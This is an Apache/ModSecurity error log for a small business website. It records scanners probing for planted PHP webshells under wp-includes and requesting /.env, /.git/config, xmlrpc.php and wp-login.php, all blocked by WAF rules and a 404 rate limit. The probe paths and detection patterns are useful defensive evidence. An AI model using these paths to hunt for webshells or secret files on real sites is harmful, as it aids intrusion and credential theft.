[Wed Dec 24 10:54:30.351361 2025] [:error] [pid 16550:tid 16552] [client 63.135.161.65:34345] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aUtV5qYYcdD-LuO7vrB-4QAAAMA"]
[Wed Dec 24 10:54:32.055504 2025] [:error] [pid 16550:tid 16561] [client 63.135.161.66:63513] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aUtV6KYYcdD-LuO7vrB-9wAAAMk"]
[Wed Dec 24 10:54:33.794373 2025] [:error] [pid 28405:tid 28430] [client 63.135.161.56:28213] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aUtV6cKkTWlhmfdXFqb55gAAAVQ"]
[Wed Dec 24 10:54:34.489565 2025] [proxy_fcgi:error] [pid 16468:tid 16540] [client 63.135.161.64:42103] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:34.710414 2025] [:error] [pid 16468:tid 16539] [client 63.135.161.64:42103] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aUtV6odyfuSTFLkCbP80FAAAAI8"]
[Wed Dec 24 10:54:38.126130 2025] [:error] [pid 16467:tid 16501] [client 63.135.161.51:40267] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aUtV7o0TJMcBxX5slgrvlwAAAEQ"]
[Wed Dec 24 10:54:38.771359 2025] [:error] [pid 54139:tid 54157] [client 104.234.53.216:48905] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aUtV7srYCZenIDzgXuIRmgAAARA"]
[Wed Dec 24 10:54:41.149488 2025] [:error] [pid 29371:tid 29396] [client 63.135.161.67:20197] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aUtV8Xs-DlKLysSq5L8oPAAAAdc"]
[Wed Dec 24 10:54:41.623395 2025] [:error] [pid 28405:tid 28432] [client 63.135.161.73:33319] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aUtV8cKkTWlhmfdXFqb6MwAAAVY"]
[Wed Dec 24 10:54:43.624818 2025] [:error] [pid 16467:tid 16517] [client 63.135.161.54:50447] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aUtV840TJMcBxX5slgrv4gAAAFQ"]
[Wed Dec 24 10:54:44.201384 2025] [:error] [pid 16467:tid 16501] [client 63.135.161.69:47669] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aUtV9I0TJMcBxX5slgrv7QAAAEQ"]
[Wed Dec 24 10:54:44.742442 2025] [:error] [pid 29371:tid 29393] [client 104.234.53.210:22159] [client 104.234.53.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.210, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUtV9Hs-DlKLysSq5L8oewAAAdQ"]
[Wed Dec 24 10:54:44.750608 2025] [proxy_fcgi:error] [pid 29371:tid 29393] [client 104.234.53.210:22159] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:44.987335 2025] [:error] [pid 29371:tid 29378] [client 104.234.53.210:22159] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aUtV9Hs-DlKLysSq5L8oggAAAcU"]
[Wed Dec 24 10:54:45.978278 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 104.234.53.219:48883] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:46.254209 2025] [:error] [pid 54139:tid 54148] [client 104.234.53.219:48883] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aUtV9srYCZenIDzgXuIR8wAAAQc"]
[Wed Dec 24 10:54:46.756696 2025] [:error] [pid 16466:tid 16489] [client 63.135.161.64:38013] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aUtV9ru0JcuKJMjJn6zRvgAAABM"]
[Wed Dec 24 10:54:48.321614 2025] [proxy_fcgi:error] [pid 16466:tid 16474] [client 63.135.161.51:55613] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:50.196358 2025] [:error] [pid 16466:tid 16490] [client 63.135.161.51:55613] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aUtV-ru0JcuKJMjJn6zR6QAAABQ"]
[Wed Dec 24 10:54:51.699569 2025] [:error] [pid 28777:tid 28786] [client 104.234.53.221:20393] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aUtV-5BVBcZ34cSqz8rTTAAAAYc"]
[Wed Dec 24 10:54:52.620640 2025] [:error] [pid 28405:tid 28419] [client 63.135.161.59:36831] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aUtV_MKkTWlhmfdXFqb6lQAAAUk"]
[Wed Dec 24 10:54:53.068892 2025] [:error] [pid 16466:tid 16492] [client 63.135.161.55:27973] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aUtV_bu0JcuKJMjJn6zSDgAAABY"]
[Wed Dec 24 10:54:54.670645 2025] [proxy_fcgi:error] [pid 16550:tid 16567] [client 63.135.161.57:47869] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:54.930494 2025] [:error] [pid 16550:tid 16576] [client 63.135.161.57:47869] [client 63.135.161.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.57, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aUtV_qYYcdD-LuO7vrCAIwAAANg"]
[Wed Dec 24 10:54:55.498051 2025] [:error] [pid 16550:tid 16572] [client 63.135.161.57:47869] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aUtV_6YYcdD-LuO7vrCALAAAANQ"]
[Wed Dec 24 10:54:57.047629 2025] [:error] [pid 16466:tid 16484] [client 63.135.161.74:61965] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aUtWAbu0JcuKJMjJn6zSSQAAAA4"]
[Wed Dec 24 10:54:57.551607 2025] [proxy_fcgi:error] [pid 28777:tid 28787] [client 63.135.161.72:28243] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:57.781353 2025] [:error] [pid 28777:tid 28793] [client 63.135.161.72:28243] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aUtWAZBVBcZ34cSqz8rTmgAAAY4"]
[Wed Dec 24 10:54:58.292682 2025] [:error] [pid 16550:tid 16555] [client 63.135.161.59:22175] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aUtWAqYYcdD-LuO7vrCAWAAAAMM"]
[Wed Dec 24 10:54:59.774997 2025] [proxy_fcgi:error] [pid 16468:tid 16540] [client 104.234.53.218:60713] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:55:00.470395 2025] [:error] [pid 16468:tid 16547] [client 104.234.53.218:60713] [client 104.234.53.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aUtWBIdyfuSTFLkCbP803gAAAJc"]
[Wed Dec 24 10:55:01.463164 2025] [:error] [pid 28777:tid 28784] [client 63.135.161.50:30037] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUtWBZBVBcZ34cSqz8rTwwAAAYU"]
[Wed Dec 24 10:55:01.909630 2025] [proxy_fcgi:error] [pid 16550:tid 16562] [client 63.135.161.55:47145] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:55:02.391351 2025] [proxy_fcgi:error] [pid 16550:tid 16573] [client 63.135.161.55:47145] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:55:02.872891 2025] [:error] [pid 16550:tid 16561] [client 63.135.161.55:47145] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aUtWBqYYcdD-LuO7vrCAoAAAAMk"]
[Wed Dec 24 10:55:03.325713 2025] [:error] [pid 16550:tid 16559] [client 63.135.161.75:41475] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aUtWB6YYcdD-LuO7vrCArAAAAMc"]
[Wed Dec 24 10:55:03.974699 2025] [:error] [pid 16467:tid 16520] [client 104.234.53.221:54285] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/count.php"] [unique_id "aUtWB40TJMcBxX5slgrwzgAAAFc"]
[Wed Dec 24 10:55:05.438203 2025] [proxy_fcgi:error] [pid 16467:tid 16500] [client 63.135.161.73:43129] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:55:06.820505 2025] [:error] [pid 16467:tid 16514] [client 63.135.161.73:43129] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUtWCo0TJMcBxX5slgrw7wAAAFE"]
[Wed Dec 24 10:55:07.695912 2025] [:error] [pid 28777:tid 28802] [client 104.234.53.225:45077] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "agraphics.com.au"] [uri "/images/stories/themes.php"] [unique_id "aUtWC5BVBcZ34cSqz8rUFQAAAZc"]
[Wed Dec 24 10:55:07.905348 2025] [:error] [pid 28777:tid 28799] [client 104.234.53.225:45077] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aUtWC5BVBcZ34cSqz8rUGAAAAZQ"]
[Wed Dec 24 10:55:11.820593 2025] [:error] [pid 28405:tid 28432] [client 63.135.161.56:36753] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aUtWD8KkTWlhmfdXFqb7YgAAAVY"]
[Wed Dec 24 10:55:13.273991 2025] [:error] [pid 16550:tid 16574] [client 63.135.161.74:58023] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aUtWEaYYcdD-LuO7vrCB8AAAANY"]
[Wed Dec 24 10:55:14.332652 2025] [proxy_fcgi:error] [pid 29371:tid 29378] [client 63.135.161.53:52879] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:55:15.255030 2025] [:error] [pid 29371:tid 29382] [client 63.135.161.53:52879] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aUtWE3s-DlKLysSq5L8qBAAAAck"]
[Wed Dec 24 14:56:51.699913 2025] [:error] [pid 28777:tid 28801] [client 45.139.104.214:62188] [client 45.139.104.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aUuOs5BVBcZ34cSqz8oDZQAAAZY"]
[Wed Dec 24 19:20:50.885906 2025] [:error] [pid 16550:tid 16567] [client 138.197.102.217:46996] [client 138.197.102.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aUvMkqYYcdD-LuO7vrD7-AAAAM8"]
[Wed Dec 24 19:57:30.029505 2025] [:error] [pid 28777:tid 28800] [client 35.245.185.135:49500] [client 35.245.185.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.185.135, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUvVKpBVBcZ34cSqz8o7wAAAAZU"]
[Wed Dec 24 19:57:30.040878 2025] [proxy_fcgi:error] [pid 28777:tid 28800] [client 35.245.185.135:49500] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 19:57:33.052991 2025] [:error] [pid 28777:tid 28798] [client 35.245.185.135:49500] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aUvVLZBVBcZ34cSqz8o7zgAAAZM"]
[Wed Dec 24 19:57:33.581456 2025] [:error] [pid 16468:tid 16541] [client 35.245.185.135:60236] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aUvVLYdyfuSTFLkCbP-VKQAAAJE"]
[Wed Dec 24 19:57:34.124861 2025] [:error] [pid 16468:tid 16539] [client 35.245.185.135:65270] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aUvVLodyfuSTFLkCbP-VKwAAAI8"]
[Wed Dec 24 19:57:34.629228 2025] [:error] [pid 16468:tid 16535] [client 35.245.185.135:62958] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aUvVLodyfuSTFLkCbP-VLAAAAIs"]
[Wed Dec 24 19:57:35.129360 2025] [:error] [pid 16550:tid 16568] [client 35.245.185.135:54309] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aUvVL6YYcdD-LuO7vrAEEQAAANA"]
[Wed Dec 24 19:57:35.605423 2025] [:error] [pid 28777:tid 28789] [client 35.245.185.135:63582] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aUvVL5BVBcZ34cSqz8o70QAAAYo"]
[Wed Dec 24 19:57:36.114926 2025] [:error] [pid 16550:tid 16565] [client 35.245.185.135:59262] [client 35.245.185.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aUvVMKYYcdD-LuO7vrAEFAAAAM0"]
[Wed Dec 24 20:00:28.463469 2025] [:error] [pid 16466:tid 16477] [client 103.182.11.151:49367] [client 103.182.11.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.11.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUvV3Lu0JcuKJMjJn6xCdgAAAAc"]
[Wed Dec 24 20:00:28.474934 2025] [proxy_fcgi:error] [pid 16466:tid 16477] [client 103.182.11.151:49367] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.605425 2025] [proxy_fcgi:error] [pid 28405:tid 28427] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.701704 2025] [proxy_fcgi:error] [pid 28405:tid 28430] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.720468 2025] [proxy_fcgi:error] [pid 28405:tid 28426] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.750782 2025] [proxy_fcgi:error] [pid 28405:tid 28433] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.794081 2025] [proxy_fcgi:error] [pid 28405:tid 28415] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.826488 2025] [proxy_fcgi:error] [pid 28405:tid 28425] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:13.850578 2025] [proxy_fcgi:error] [pid 28405:tid 28431] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:14.001949 2025] [proxy_fcgi:error] [pid 28405:tid 28419] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:14.022232 2025] [proxy_fcgi:error] [pid 28405:tid 28421] [client 20.58.140.78:60975] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:12:14.074280 2025] [:error] [pid 28405:tid 28409] [client 20.58.140.78:60975] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aUvmrsKkTWlhmfdXFqajPgAAAUA"]
